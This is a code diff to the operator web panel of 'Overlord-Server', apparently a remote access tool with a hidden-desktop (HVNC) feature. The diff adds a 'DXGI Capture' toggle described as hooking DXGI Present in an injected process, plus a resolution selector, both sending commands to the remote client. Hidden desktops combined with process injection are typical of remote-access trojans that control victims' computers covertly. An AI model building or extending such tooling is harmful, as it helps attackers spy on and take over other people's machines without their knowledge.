GPU HVNC capturing

Overlord-Server/public/assets/hvnc.js

@@ -58,7 +58,6 @@ import { checkFeatureAccess } from "./feature-gate.js";
   const fullscreenBtn = document.getElementById("fullscreenBtn");
   const mouseCtrl = document.getElementById("mouseCtrl");
   const kbdCtrl = document.getElementById("kbdCtrl");
-  const cursorCtrl = document.getElementById("cursorCtrl");
   const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
   const qualitySlider = document.getElementById("qualitySlider");
   const qualityValue = document.getElementById("qualityValue");
@@ -72,11 +71,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
   const viewerFps = document.getElementById("viewerFps");
   const statusEl = document.getElementById("streamStatus");
   const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
+  const dxgiCtrl = document.getElementById("dxgiCtrl");
+  const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
 
   function syncInputEnableState() {
     if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
     if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
-    if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
+    if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
+    pushHvncResolution();
   }
   let activeClientId = clientId;
   let renderCount = 0;
@@ -558,9 +560,23 @@ import { checkFeatureAccess } from "./feature-gate.js";
   kbdCtrl.addEventListener("change", function () {
     sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
   });
-  cursorCtrl.addEventListener("change", function () {
-    sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
-  });
+  if (dxgiCtrl) {
+    dxgiCtrl.addEventListener("change", function () {
+      sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
+    });
+  }
+
+  function pushHvncResolution() {
+    if (hvncResolutionSelect) {
+      const maxHeight = parseInt(hvncResolutionSelect.value, 10);
+      sendCmd("hvnc_set_resolution", { maxHeight: maxHeight });
+    }
+  }
+  if (hvncResolutionSelect) {
+    hvncResolutionSelect.addEventListener("change", function () {
+      pushHvncResolution();
+    });
+  }
 
   if (qualitySlider) {
     updateQualityLabel(qualitySlider.value);

Overlord-Server/public/hvnc.html

@@ -128,12 +128,22 @@
             <label class="flex items-center gap-2 text-sm text-slate-200"
               ><input type="checkbox" id="kbdCtrl" /> Keyboard</label
             >
-            <label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
-              ><input type="checkbox" id="cursorCtrl" /> Cursor</label
-            >
             <label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
               ><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
             >
+            <label class="flex items-center gap-2 text-sm text-slate-200" title="Use DXGI Present hook for faster capture (requires injected process)"
+              ><input type="checkbox" id="dxgiCtrl" checked /> DXGI Capture</label
+            >
+            <label for="hvncResolutionSelect" class="text-sm text-slate-200">Resolution</label>
+            <select
+              id="hvncResolutionSelect"
+              class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 text-sm"
+            >
+              <option value="720">720p</option>
+              <option value="1080" selected>1080p</option>
+              <option value="1440">1440p</option>
+              <option value="-1">Native</option>
+            </select>
 
           </div>
         </div>